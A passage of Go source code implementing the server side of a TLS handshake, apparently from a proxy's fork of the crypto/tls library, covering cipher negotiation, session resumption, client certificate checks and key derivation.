server handshake, we generate a random key to\n\t// encrypt the tickets with.\n\tconfig.serverInitOnce.Do(config.serverInit)\n\n\ths := serverHandshakeState{\n\t\tc: c,\n\t}\n\n\tisResume, err := hs.readClientHello()\n\tif err == io.EOF && 0 == c.readFromUntilLen {\n\t\tstate.TlsHandshakeZeroData.Inc(1)\n\t}\n\tif err != nil {\n\t\tstate.TlsHandshakeReadClientHelloErr.Inc(1)\n\t\treturn err\n\t}\n\n\t// Record JA3 fingerpint for TLS client\n\tc.ja3Raw = hs.clientHello.JA3String()\n\tc.ja3Hash = fmt.Sprintf(\"%x\", md5.Sum([]byte(c.ja3Raw)))\n\n\t// For an overview of TLS handshaking, see https://tools.ietf.org/html/rfc5246#section-7.3\n\tif isResume {\n\t\tstate.TlsHandshakeResumeAll.Inc(1)\n\t\t// The client has included a session ticket and so we do an abbreviated handshake.\n\t\tif err := hs.doResumeHandshake(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.establishKeys(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.sendFinished(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.readFinished(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tc.didResume = true\n\t\tstate.TlsHandshakeResumeSucc.Inc(1)\n\t} else {\n\t\tstate.TlsHandshakeFullAll.Inc(1)\n\t\t// The client didn't include a session ticket, or it wasn't\n\t\t// valid so we do a full handshake.\n\t\tif err := hs.doFullHandshake(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.establishKeys(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.readFinished(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.sendSessionTicket(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := hs.sendFinished(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// update session cache\n\t\tif !c.config.SessionCacheDisabled && c.config.ServerSessionCache != nil {\n\t\t\t// If a server is planning on issuing a session ticket to a client that\n\t\t\t// does not present one, it SHOULD include an empty Session ID in the ServerHello\n\t\t\t// If the Session Id is not empty, the sever choose stateful resume(session id).\n\t\t\tif len(hs.hello.sessionId) > 0 {\n\t\t\t\tstate := &sessionState{\n\t\t\t\t\tvers: c.vers,\n\t\t\t\t\tcipherSuite: hs.suite.id,\n\t\t\t\t\tsessionId: hs.hello.sessionId,\n\t\t\t\t\tmasterSecret: hs.masterSecret,\n\t\t\t\t\tcertificates: hs.certsFromClient,\n\t\t\t\t}\n\t\t\t\tc.config.ServerSessionCache.Put(fmt.Sprintf(\"%x\", hs.hello.sessionId),\n\t\t\t\t\tstate.marshal())\n\t\t\t}\n\t\t}\n\t\tstate.TlsHandshakeFullSucc.Inc(1)\n\t}\n\tc.handshakeComplete = true\n\tc.handshakeTime = time.Since(handshakeStart)\n\n\t// Record master secret for established tls conn. Master secret may\n\t// saved in NSS key log format so that external programs (eg. wireshark)\n\t// can decrypt TLS connections for trouble shooting.\n\tc.clientRandom = hs.clientHello.random\n\tc.serverRandom = hs.hello.random\n\tc.masterSecret = hs.masterSecret\n\n\treturn nil\n}\n\n// readClientHello reads a ClientHello message from the client and decides\n// whether we will perform session resumption.\nfunc (hs *serverHandshakeState) readClientHello() (isResume bool, err error) {\n\tconfig := hs.c.config\n\tc := hs.c\n\n\tmsg, err := c.readHandshake()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tvar ok bool\n\ths.clientHello, ok = msg.(*clientHelloMsg)\n\tif !ok {\n\t\tc.sendAlert(alertUnexpectedMessage)\n\t\treturn false, unexpectedMessageError(hs.clientHello, msg)\n\t}\n\tc.vers, ok = config.mutualVersion(hs.clientHello.vers)\n\tif !ok {\n\t\tc.sendAlert(alertProtocolVersion)\n\t\treturn false, fmt.Errorf(\"tls: client offered an unsupported, maximum protocol version of %x\", hs.clientHello.vers)\n\t}\n\n\tif len(hs.clientHello.serverName) > 0 {\n\t\tc.serverName = hs.clientHello.serverName\n\t}\n\n\t// get customized config for current connection\n\tvar rule *Rule\n\tif config.ServerRule != nil {\n\t\trule = config.ServerRule.Get(c)\n\t}\n\n\tc.grade = GradeC\n\tif rule != nil {\n\t\tc.grade = rule.Grade\n\t\tc.enableDynamicRecord = rule.DynamicRecord\n\t}\n\n\tc.vers, ok = config.checkVersionGrade(c.vers, c.grade)\n\tif !ok {\n\t\tc.sendAlert(alertProtocolVersion)\n\t\treturn false, fmt.Errorf(\"tls: client offered an unsupported suite for this grade, grade is %s\", c.grade)\n\t}\n\n\tc.haveVers = true\n\n\ths.useRC4 = config.checkCipherGrade(c)\n\n\ths.finishedHash = newFinishedHash(c.vers)\n\tif c.sslv2Data == nil {\n\t\ths.finishedHash.Write(hs.clientHello.marshal())\n\t} else {\n\t\ths.finishedHash.Write(c.sslv2Data)\n\t\tc.sslv2Data = nil\n\t}\n\n\ths.hello = new(serverHelloMsg)\n\n\tsupportedCurve := false\n\tpreferredCurves := config.curvePreferences()\nCurves:\n\tfor _, curve := range hs.clientHello.supportedCurves {\n\t\tfor _, supported := range preferredCurves {\n\t\t\tif supported == curve {\n\t\t\t\tsupportedCurve = true\n\t\t\t\tbreak Curves\n\t\t\t}\n\t\t}\n\t}\n\n\tsupportedPointFormat := false\n\tfor _, pointFormat := range hs.clientHello.supportedPoints {\n\t\tif pointFormat == pointFormatUncompressed {\n\t\t\tsupportedPointFormat = true\n\t\t\tbreak\n\t\t}\n\t}\n\ths.ellipticOk = supportedCurve && supportedPointFormat\n\n\tfoundCompression := false\n\t// We only support null compression, so check that the client offered it.\n\tfor _, compression := range hs.clientHello.compressionMethods {\n\t\tif compression == compressionNone {\n\t\t\tfoundCompression = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !foundCompression {\n\t\tc.sendAlert(alertHandshakeFailure)\n\t\treturn false, errors.New(\"tls: client does not support uncompressed connections\")\n\t}\n\n\ths.hello.vers = c.vers\n\ths.hello.random, err = generateHelloRandom(config.rand())\n\tif err != nil {\n\t\tc.sendAlert(alertInternalError)\n\t\treturn false, err\n\t}\n\ths.hello.secureRenegotiation = hs.clientHello.secureRenegotiation\n\ths.hello.compressionMethod = compressionNone\n\n\tnextProtos := config.NextProtos\n\tif rule != nil {\n\t\tnextProtos = rule.NextProtos.Get(c)\n\t}\n\n\tif len(hs.clientHello.alpnProtocols) > 0 {\n\t\tif selectedProto, fallback := mutualProtocol(hs.clientHello.alpnProtocols, nextProtos); !fallback {\n\t\t\ths.hello.alpnProtocol = selectedProto\n\t\t\tc.clientProtocol = selectedProto\n\t\t}\n\t} else {\n\t\t// Although sending an NPN extension without h2 is reasonable, some client\n\t\t// has a bug around this. Best to send NPN without h2.\n\t\tnextProtos = checkAndRemoveH2(nextProtos)\n\n\t\t// Although sending an empty NPN extension is reasonable, Firefox has\n\t\t// had a bug around this. Best to send nothing at all if\n\t\t// config.NextProtos is empty. See\n\t\t// https://code.google.com/p/go/issues/detail?id=5445.\n\t\tif hs.clientHello.nextProtoNeg && len(nextProtos) > 0 {\n\t\t\ths.hello.nextProtoNeg = true\n\t\t\ths.hello.nextProtos = nextProtos\n\t\t}\n\t}\n\n\t// Select certificate for current connection\n\tif len(config.Certificates) == 0 {\n\t\tc.sendAlert(alertInternalError)\n\t\treturn false, errors.New(\"tls: no certificates configured\")\n\t}\n\ths.cert = &config.Certificates[0]\n\tif len(hs.clientHello.serverName) > 0 {\n\t\ths.cert = config.getCertificateForName(hs.clientHello.serverName)\n\t}\n\n\tif tlsMultiCertificate != nil {\n\t\t// select certificate by thirdparty policy\n\t\tif cert := tlsMultiCertificate.Get(c); cert != nil {\n\t\t\ths.cert = cert\n\t\t}\n\t} else if config.MultiCert != nil {\n\t\t// select certificate by default policy\n\t\tif cert := config.MultiCert.Get(c); cert != nil {\n\t\t\ths.cert = cert\n\t\t}\n\t}\n\n\t_, hs.ecdsaOk = hs.cert.PrivateKey.(*ecdsa.PrivateKey)\n\n\t// Select client auth policy for current connection\n\tc.clientAuth = config.ClientAuth\n\tif rule != nil && rule.ClientAuth {\n\t\tc.clientAuth = RequireAndVerifyClientCert\n\t\tc.clientCAs = rule.ClientCAs\n\t\tc.clientCAName = rule.ClientCAName\n\t\tc.clientCRLPool = rule.ClientCRLPool\n\t}\n\n\t// check whether chacha20-poly1305 is enabled for current connection\n\tif rule != nil {\n\t\ths.chachaOk = rule.Chacha20\n\t}\n\n\tif hs.checkForResumption() {\n\t\treturn true, nil\n\t}\n\n\tvar preferenceList, supportedList []uint16\n\tif c.config.PreferServerCipherSuites {\n\t\tpreferenceList = c.config.cipherSuites()\n\t\tsupportedList = hs.clientHello.cipherSuites\n\t} else {\n\t\tpreferenceList = hs.clientHello.cipherSuites\n\t\tsupportedList = c.config.cipherSuites()\n\t}\n\n\tif c.config.PreferServerCipherSuites && len(c.config.CipherSuitesPriority) == len(preferenceList) {\n\t\t// Equivalent cipher suite negotiation\n\t\ths.suite = hs.negotiateEquivalentCipherSuites(supportedList, preferenceList)\n\t} else {\n\t\t// Normal cipher suite negotiation\n\t\tfor _, id := range preferenceList {\n\t\t\tif hs.suite, _ = c.tryCipherSuite(id, supportedList, c.vers,\n\t\t\t\ths.ellipticOk, hs.ecdsaOk, hs.chachaOk, hs.useRC4); hs.suite != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\t// no cipher suite supported by both client and server.\n\tif hs.suite == nil {\n\t\t// If client proposes ECDHE without ECC extensions, just try ECDHE cipher suite\n\t\t// and choose CurveP256 and Uncompressed point format for client.\n\t\t//\n\t\t// Note: A client that proposes ECC cipher suites may choose not to include\n\t\t// elliptic curves extension or elliptic point format extension. In this case,\n\t\t// the server is free to choose any one of the elliptic curves or point formats.\n\t\t//\n\t\t// For more information, see RFC 4492 Section 4\n\t\tellipticMayOk := hs.checkEllipticMayOk(supportedCurve, supportedPointFormat)\n\t\tif ellipticMayOk {\n\t\t\tfor _, id := range preferenceList {\n\t\t\t\tif !CheckSuiteECDHE(id) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif hs.suite, _ = c.tryCipherSuite(id, supportedList, c.vers, true, hs.ecdsaOk, hs.chachaOk, hs.useRC4); hs.suite != nil {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif hs.suite != nil {\n\t\t\t\tstate.TlsHandshakeAcceptEcdheWithoutExt.Inc(1)\n\t\t\t\ths.clientHello.supportedCurves = append(hs.clientHello.supportedCurves, CurveP256)\n\t\t\t\ths.clientHello.supportedPoints = append(hs.clientHello.supportedPoints, pointFormatUncompressed)\n\t\t\t}\n\t\t}\n\t}\n\n\tif hs.suite == nil {\n\t\tc.sendAlert(alertHandshakeFailure)\n\t\tstate.TlsHandshakeNoSharedCipherSuite.Inc(1)\n\t\treturn false, fmt.Errorf(\"tls: no cipher suite supported by both client and server: %v\",\n\t\t\ths.clientHello.cipherSuites)\n\t}\n\n\t// See https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00.\n\tfor _, id := range hs.clientHello.cipherSuites {\n\t\tif id == TLS_FALLBACK_SCSV {\n\t\t\t// The client is doing a fallback connection.\n\t\t\tif hs.clientHello.vers < c.config.MaxVersion {\n\t\t\t\tc.sendAlert(alertInappropriateFallback)\n\t\t\t\treturn false, errors.New(\"tls: client using inppropriate protocol fallback\")\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n\n\ths.validateHttp2Accepted()\n\treturn false, nil\n}\n\n// Equivalent cipher suite negotiation\n// Note: for equivalent cipher suites (cipher suites with same priority in server side),\n// selects the client's most preferred ciphersuite.\nfunc (hs *serverHandshakeState) negotiateEquivalentCipherSuites(clientSuites, serverSuites []uint16) *cipherSuite {\n\tvar suiteSelected *cipherSuite\n\tvar suiteServerOrder uint16\n\tvar suiteClientOrder int\n\n\tc := hs.c\n\tfor index, serverOrder := range c.config.CipherSuitesPriority {\n\t\tid := serverSuites[index]\n\n\t\t// check whether current suite is acceptable by client and client's preference for it\n\t\tif suite, clientOrder := c.tryCipherSuite(id, clientSuites, c.vers,\n\t\t\ths.ellipticOk, hs.ecdsaOk, hs.chachaOk, hs.useRC4); suite != nil {\n\t\t\t// if found first acceptable suite or better suite\n\t\t\tif suiteSelected == nil || (serverOrder == suiteServerOrder && clientOrder < suiteClientOrder) {\n\t\t\t\tsuiteSelected = suite\n\t\t\t\tsuiteServerOrder = serverOrder\n\t\t\t\tsuiteClientOrder = clientOrder\n\t\t\t}\n\t\t}\n\n\t\t// stop check suite with lower priority\n\t\tif suiteSelected != nil && suiteServerOrder < serverOrder {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn suiteSelected\n}\n\nfunc checkAndRemoveH2(protos []string) []string {\n\tnextProtos := make([]string, 0)\n\tfor _, p := range protos {\n\t\tif p != \"h2\" {\n\t\t\tnextProtos = append(nextProtos, p)\n\t\t}\n\t}\n\treturn nextProtos\n}\n\nfunc (hs *serverHandshakeState) validateHttp2Accepted() {\n\t// Note: implementations for http2 Must use TLS1.2 or higher and SHOULD not use\n\t// any of the cipher suites that are listed in the cipher suite black list.\n\t// See RFC 7540 Section 9.2\n\tc := hs.c\n\tif hs.hello.alpnProtocol == \"h2\" {\n\t\tif !checkCipherSuiteHttp2Accepted(hs.suite.id) || c.vers < VersionTLS12 {\n\t\t\ths.hello.alpnProtocol = \"http/1.1\"\n\t\t\tc.clientProtocol = \"http/1.1\"\n\t\t}\n\t}\n}\n\nfunc (hs *serverHandshakeState) checkEllipticMayOk(supportedCurve, supportedPointFormat bool) bool {\n\tif hs.c.vers <= VersionSSL30 {\n\t\treturn false\n\t}\n\tif supportedCurve && len(hs.clientHello.supportedPoints) == 0 {\n\t\treturn true\n\t}\n\tif supportedPointFormat && len(hs.clientHello.supportedCurves) == 0 {\n\t\treturn true\n\t}\n\tif len(hs.clientHello.supportedCurves) == 0 && len(hs.clientHello.supportedPoints) == 0 {\n\t\treturn true\n\t}\n\treturn false\n}\n\n// checkForResumption returns true if we should perform resumption on this connection.\nfunc (hs *serverHandshakeState) checkForResumption() bool {\n\tc := hs.c\n\n\tvar ok bool\n\t// check session ticket\n\tif !c.config.SessionTicketsDisabled && hs.clientHello.ticketSupported && len(hs.clientHello.sessionTicket) != 0 {\n\t\tstate.TlsHandshakeCheckResumeSessionTicket.Inc(1)\n\t\ths.sessionTicketOK = true\n\t\tif hs.sessionState, ok = c.decryptTicket(hs.clientHello.sessionTicket); !ok {\n\t\t\treturn false\n\t\t}\n\t} else {\n\t\t// check session cache\n\t\tif len(hs.clientHello.sessionId) == 0 {\n\t\t\treturn false\n\t\t}\n\t\tstate.TlsHandshakeCheckResumeSessionCache.Inc(1)\n\t\ths.sessionTicketOK = false\n\t\ths.sessionState = nil\n\t\tif !c.config.SessionCacheDisabled && c.config.ServerSessionCache != nil {\n\t\t\tsessionCache := c.config.ServerSessionCache\n\t\t\tsessionParam, ok := sessionCache.Get(fmt.Sprintf(\"%x\", hs.clientHello.sessionId))\n\t\t\tif !ok {\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tcandidateSession := new(sessionState)\n\t\t\tif ok := candidateSession.unmarshal(sessionParam); !ok {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\ths.sessionState = candidateSession\n\t\t}\n\t}\n\n\tif hs.sessionState == nil || hs.sessionState.vers > hs.clientHello.vers {\n\t\treturn false\n\t}\n\tif vers, ok := c.config.mutualVersion(hs.sessionState.vers); !ok || vers != hs.sessionState.vers {\n\t\treturn false\n\t}\n\n\tcipherSuiteOk := false\n\t// Check that the client is still offering the ciphersuite in the session.\n\tfor _, id := range hs.clientHello.cipherSuites {\n\t\tif id == hs.sessionState.cipherSuite {\n\t\t\tcipherSuiteOk = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !cipherSuiteOk {\n\t\treturn false\n\t}\n\n\t// Check that we also support the ciphersuite from the session.\n\ths.suite, _ = c.tryCipherSuite(hs.sessionState.cipherSuite, c.config.cipherSuites(), hs.sessionState.vers,\n\t\ths.ellipticOk, hs.ecdsaOk, hs.chachaOk, hs.useRC4)\n\tif hs.suite == nil {\n\t\treturn false\n\t}\n\n\tsessionHasClientCerts := len(hs.sessionState.certificates) != 0\n\tneedClientCerts := c.clientAuth == RequireAnyClientCert || c.clientAuth == RequireAndVerifyClientCert\n\tif needClientCerts && !sessionHasClientCerts {\n\t\treturn false\n\t}\n\tif sessionHasClientCerts && c.clientAuth == NoClientCert {\n\t\treturn false\n\t}\n\n\tif hs.sessionTicketOK {\n\t\tstate.TlsHandshakeShouldResumeSessionTicket.Inc(1)\n\t} else {\n\t\tstate.TlsHandshakeShouldResumeSessionCache.Inc(1)\n\t}\n\n\ths.validateHttp2Accepted()\n\n\treturn true\n}\n\nfunc (hs *serverHandshakeState) doResumeHandshake() error {\n\tc := hs.c\n\n\ths.hello.cipherSuite = hs.suite.id\n\t// We echo the client's session ID in the ServerHello to let it know\n\t// that we're doing a resumption.\n\ths.hello.sessionId = hs.clientHello.sessionId\n\ths.finishedHash.Write(hs.hello.marshal())\n\tc.writeRecord(recordTypeHandshake, hs.hello.marshal())\n\n\tif len(hs.sessionState.certificates) > 0 {\n\t\tif _, err := hs.processCertsFromClient(hs.sessionState.certificates); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ths.masterSecret = hs.sessionState.masterSecret\n\n\treturn nil\n}\n\n// judge whether ocspstapling update time suitable for server time\nfunc (hs *serverHandshakeState) ocspTimeCheck() bool {\n\tif hs.cert.OCSPParse == nil {\n\t\treturn false\n\t}\n\n\tif !OcspTimeRangeCheck(hs.cert.OCSPParse) {\n\t\tstate.TlsHandshakeOcspTimeErr.Inc(1)\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc (hs *serverHandshakeState) doFullHandshake() error {\n\tconfig := hs.c.config\n\tc := hs.c\n\n\tif hs.clientHello.ocspStapling && len(hs.cert.OCSPStaple) > 0 {\n\t\t// check ocspstapling time\n\t\tif ocspOk := hs.ocspTimeCheck(); ocspOk {\n\t\t\ths.hello.ocspStapling = true\n\t\t\tc.ocspStaple = true\n\t\t}\n\t}\n\tif hs.clientHello.ocspStapling {\n\t\tstate.TlsStatusRequestExtCount.Inc(1)\n\t}\n\n\ths.hello.ticketSupported = hs.clientHello.ticketSupported && !config.SessionTicketsDisabled\n\tif !hs.hello.ticketSupported && !c.config.SessionCacheDisabled {\n\t\t// create new session id\n\t\ths.hello.sessionId = make([]byte, 32)\n\t\tif _, err := io.ReadFull(c.config.rand(), hs.hello.sessionId); err != nil {\n\t\t\tc.sendAlert(alertInternalError)\n\t\t\treturn err\n\t\t}\n\t}\n\n\ths.hello.cipherSuite = hs.suite.id\n\ths.finishedHash.Write(hs.hello.marshal())\n\tc.writeRecord(recordTypeHandshake, hs.hello.marshal())\n\n\tvar certMsg *certificateMsg\n\tvar certMsgData []byte\n\n\tif hs.cert.message != nil {\n\t\tcertMsgData = hs.cert.message\n\t} else {\n\t\tcertMsg := new(certificateMsg)\n\t\tcertMsg.certificates = hs.cert.Certificate\n\t\tcertMsgData = certMsg.marshal()\n\t}\n\n\ths.finishedHash.Write(certMsgData)\n\tc.writeRecord(recordTypeHandshake, certMsgData)\n\n\tif hs.hello.ocspStapling {\n\t\tcertStatus := new(certificateStatusMsg)\n\t\tcertStatus.statusType = statusTypeOCSP\n\t\tcertStatus.response = hs.cert.OCSPStaple\n\t\ths.finishedHash.Write(certStatus.marshal())\n\t\tc.writeRecord(recordTypeHandshake, certStatus.marshal())\n\t}\n\n\tkeyAgreement := hs.suite.ka(c.vers)\n\tskx, err := keyAgreement.generateServerKeyExchange(config, hs.cert, hs.clientHello, hs.hello)\n\tif err != nil {\n\t\tc.sendAlert(alertHandshakeFailure)\n\t\treturn err\n\t}\n\tif skx != nil {\n\t\ths.finishedHash.Write(skx.marshal())\n\t\tc.writeRecord(recordTypeHandshake, skx.marshal())\n\t}\n\n\tif c.clientAuth >= RequestClientCert {\n\t\t// Request a client certificate\n\t\tcertReq := new(certificateRequestMsg)\n\t\tcertReq.certificateTypes = []byte{\n\t\t\tbyte(certTypeRSASign),\n\t\t\tbyte(certTypeECDSASign),\n\t\t}\n\t\tif c.vers >= VersionTLS12 {\n\t\t\tcertReq.hasSignatureAndHash = true\n\t\t\tcertReq.signatureAndHashes = supportedClientCertSignatureAlgorithms\n\t\t}\n\n\t\t// An empty list of certificateAuthorities signals to\n\t\t// the client that it may send any certificate in response\n\t\t// to our request. When we know the CAs we trust, then\n\t\t// we can send them down, so that the client can choose\n\t\t// an appropriate certificate to give to us.\n\t\tif clientCAs := c.getClientCAs(); clientCAs != nil {\n\t\t\tcertReq.certificateAuthorities = clientCAs.Subjects()\n\t\t}\n\t\ths.finishedHash.Write(certReq.marshal())\n\t\tc.writeRecord(recordTypeHandshake, certReq.marshal())\n\t}\n\n\thelloDone := new(serverHelloDoneMsg)\n\ths.finishedHash.Write(helloDone.marshal())\n\tc.writeRecord(recordTypeHandshake, helloDone.marshal())\n\n\tvar pub crypto.PublicKey // public key for client auth, if any\n\n\tmsg, err := c.readHandshake()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar ok bool\n\t// If we requested a client certificate, then the client must send a\n\t// certificate message, even if it's empty.\n\tif c.clientAuth >= RequestClientCert {\n\t\tif certMsg, ok = msg.(*certificateMsg); !ok {\n\t\t\tc.sendAlert(alertUnexpectedMessage)\n\t\t\treturn unexpectedMessageError(certMsg, msg)\n\t\t}\n\t\ths.finishedHash.Write(certMsg.marshal())\n\n\t\tif len(certMsg.certificates) == 0 {\n\t\t\t// The client didn't actually send a certificate\n\t\t\tswitch c.clientAuth {\n\t\t\tcase RequireAnyClientCert, RequireAndVerifyClientCert:\n\t\t\t\tc.sendAlert(alertBadCertificate)\n\t\t\t\treturn errors.New(\"tls: client didn't provide a certificate\")\n\t\t\t}\n\t\t}\n\n\t\tpub, err = hs.processCertsFromClient(certMsg.certificates)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmsg, err = c.readHandshake()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Get client key exchange\n\tckx, ok := msg.(*clientKeyExchangeMsg)\n\tif !ok {\n\t\tc.sendAlert(alertUnexpectedMessage)\n\t\treturn unexpectedMessageError(ckx, msg)\n\t}\n\ths.finishedHash.Write(ckx.marshal())\n\n\t// If we received a client cert in response to our certificate request message,\n\t// the client will send us a certificateVerifyMsg immediately after the\n\t// clientKeyExchangeMsg. This message is a digest of all preceding\n\t// handshake-layer messages that is signed using the private key corresponding\n\t// to the client's certificate. This allows us to verify that the client is in\n\t// possession of the private key of the certificate.\n\tif len(c.peerCertificates) > 0 {\n\t\tmsg, err = c.readHandshake()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tcertVerify, ok := msg.(*certificateVerifyMsg)\n\t\tif !ok {\n\t\t\tc.sendAlert(alertUnexpectedMessage)\n\t\t\treturn unexpectedMessageError(certVerify, msg)\n\t\t}\n\n\t\tswitch key := pub.(type) {\n\t\tcase *ecdsa.PublicKey:\n\t\t\tecdsaSig := new(ecdsaSignature)\n\t\t\tif _, err = asn1.Unmarshal(certVerify.signature, ecdsaSig); err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif ecdsaSig.R.Sign() <= 0 || ecdsaSig.S.Sign() <= 0 {\n\t\t\t\terr = errors.New(\"ECDSA signature contained zero or negative values\")\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tdigest, _, _ := hs.finishedHash.hashForClientCertificate(signatureECDSA)\n\t\t\tif !ecdsa.Verify(key, digest, ecdsaSig.R, ecdsaSig.S) {\n\t\t\t\terr = errors.New(\"ECDSA verification failure\")\n\t\t\t\tbreak\n\t\t\t}\n\t\tcase *rsa.PublicKey:\n\t\t\tdigest, hashFunc, _ := hs.finishedHash.hashForClientCertificate(signatureRSA)\n\t\t\terr = rsa.VerifyPKCS1v15(key, hashFunc, digest, certVerify.signature)\n\t\t}\n\t\tif err != nil {\n\t\t\tc.sendAlert(alertBadCertificate)\n\t\t\treturn errors.New(\"could not validate signature of connection nonces: \" + err.Error())\n\t\t}\n\n\t\ths.finishedHash.Write(certVerify.marshal())\n\t}\n\n\tpreMasterSecret, err := keyAgreement.processClientKeyExchange(config, hs.cert, ckx, c.vers)\n\tif err != nil {\n\t\tc.sendAlert(alertHandshakeFailure)\n\t\treturn err\n\t}\n\ths.masterSecret = masterFromPreMasterSecret(c.vers, preMasterSecret, hs.clientHello.random, hs.hello.random)\n\n\treturn nil\n}\n\nfunc (hs *serverHandshakeState) establishKeys() error {\n\tc := hs.c\n\n\tclientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV :=\n\t\tkeysFromMasterSecret(c.vers, hs.masterSecret, hs.clientHello.random, hs.hello.random, hs.suite.macLen, hs.suite.keyLen, hs.suite.ivLen)\n\n\tvar clientCipher, serverCipher interface{}\n\tvar clientHash, serverHash macFunction\n\n\tif hs.suite.aead == nil {\n\t\tclientCipher = hs.suite.cipher(clientKey, clientIV, true /* for reading */)\n\t\tclientHash = hs.suite.mac(c.vers, clientMAC)\n\t\tserverCipher = hs.suite.cipher(serverKey, serverIV, false /* not for reading */)\n\t\tserverHash = hs.suite.mac(c.vers, serverMAC)\n\t} else {\n\t\tclientCipher = hs.suite.aead(clientKey, clientIV)\n\t\tserverCipher = hs.suite.aead(serverKey, serverIV)\n\t}\n\n\tc.in.prepareCipherSpec(c.vers, clientCipher, clientHash)\n\tc.out.prepareCipherSpec(c.vers, serverCipher, serverHash)\n\n\treturn nil\n}\n\nfunc (hs *serverHandshakeState) readFinished() error {\n\tc := hs.c\n\n\tc.readRecord(recordTypeChangeCipherSpec)\n\tif err := c.in.error(); err != nil {\n\t\treturn err\n\t}\n\n\tif hs.hello.nextProtoNeg {\n\t\tmsg, err := c.readHandshake()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tnextProto, ok := msg.(*nextProtoMsg)\n\t\tif !ok {\n\t\t\tc.sendAlert(alertUnexpectedMessage)\n\t\t\treturn unexpectedMessageError(nextProto, msg)\n\t\t}\n\t\ths.finishedHash.Write(nextProto.marshal())\n\t\tc.clientProtocol = nextProto.proto\n\t}\n\n\tmsg, err := c.readHandshake()\n\tif err != nil {\n\t\treturn err\n\t}\n\tclientFinished, ok := msg.(*finishedMsg)\n\tif !ok {\n\t\tc.sendAlert(alertUnexpectedMessage)\n\t\treturn unexpectedMessageError(clientFinished, msg)\n\t}\n\n\tverify := hs.finishedHash.clientSum(hs.masterSecret)\n\tif len(verify) != len(clientFinished.verifyData) ||\n\t\tsubtle.ConstantTimeCompare(verify, clientFinished.verifyData) != 1 {\n\t\tc.sendAlert(alertHandshakeFailure)\n\t\treturn errors.New(\"tls: client's Finished message is incorrect\")\n\t}\n\n\ths.finishedHash.Write(clientFinished.marshal())\n\treturn nil\n}\n\nfunc (hs *serverHandshakeState) sendSessionTicket() error {\n\tif !hs.hello.ticketSupported {\n\t\treturn nil\n\t}\n\n\tc := hs.c\n\tm := new(newSessionTicketMsg)\n\n\tvar err error\n\tstate := sessionState{\n\t\tvers: c.vers,\n\t\tcipherSuite: hs.suite.id,\n\t\tmasterSecret: hs.masterSecret,\n\t\tcertificates: hs.certsFromClient,\n\t}\n\tm.ticket, err = c.encryptTicket(&state)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ths.finishedHash.Write(m.marshal())\n\tc.writeRecord(recordTypeHandshake, m.marshal())\n\n\treturn nil\n}\n\nfunc (hs *serverHandshakeState) sendFinished() error {\n\tc := hs.c\n\n\tc.writeRecord(recordTypeChangeCipherSpec, []byte{1})\n\n\tfinished := new(finishedMsg)\n\tfinished.verifyData = hs.finishedHash.serverSum(hs.masterSecret)\n\ths.finishedHash.Write(finished.marshal())\n\n\tc.writeRecord(recordTypeHandshake, finished.marshal())\n\n\tc.cipherSuite = hs.suite.id\n\n\treturn nil\n}\n\n// processCertsFromClient takes a chain of client certificates either from a\n// Certificates message or from a sessionState and verifies them. It returns\n// the public key of the leaf certificate.\nfunc (hs *serverHandshakeState) processCertsFromClient(certificates [][]byte) (crypto.PublicKey, error) {\n\tc := hs.c\n\n\ths.certsFromClient = certificates\n\tcerts := make([]*x509.Certificate, len(certificates))\n\tvar err error\n\tfor i, asn1Data := range certificates {\n\t\tif certs[i], err = x509.ParseCertificate(asn1Data); err != nil {\n\t\t\tc.sendAlert(alertBadCertificate)\n\t\t\treturn nil, errors.New(\"tls: failed to parse client certificate: \" + err.Error())\n\t\t}\n\n\t\tif c.clientCRLPool != nil && c.clientCRLPool.CheckCertRevoked(certs[i]) {\n\t\t\tc.sendAlert(alertCertificateRevoked)\n\t\t\treturn nil, fmt.Errorf(\"tls: revoked client certificate: %s %s\", strings.ToUpper(certs[i].SerialNumber.Text(16)), certs[i].Subject.CommonName)\n\t\t}\n\t}\n\n\tif c.clientAuth >= VerifyClientCertIfGiven && len(certs) > 0 {\n\t\topts := x509.VerifyOptions{\n\t\t\tRoots: c.getClientCAs(),\n\t\t\tCurrentTime: c.config.time(),\n\t\t\tIntermediates: x509.NewCertPool(),\n\t\t\tKeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},\n\t\t}\n\n\t\tfor _, cert := range certs[1:] {\n\t\t\topts.Intermediates.AddCert(cert)\n\t\t}\n\n\t\tchains, err := certs[0].Verify(opts)\n\t\tif err != nil {\n\t\t\tc.sendAlert(alertBadCertificate)\n\t\t\treturn nil, errors.New(\"tls: failed to verify client's certificate: \" + err.Error())\n\t\t}\n\n\t\tok := false\n\t\tfor _, ku := range certs[0].ExtKeyUsage {\n\t\t\tif ku == 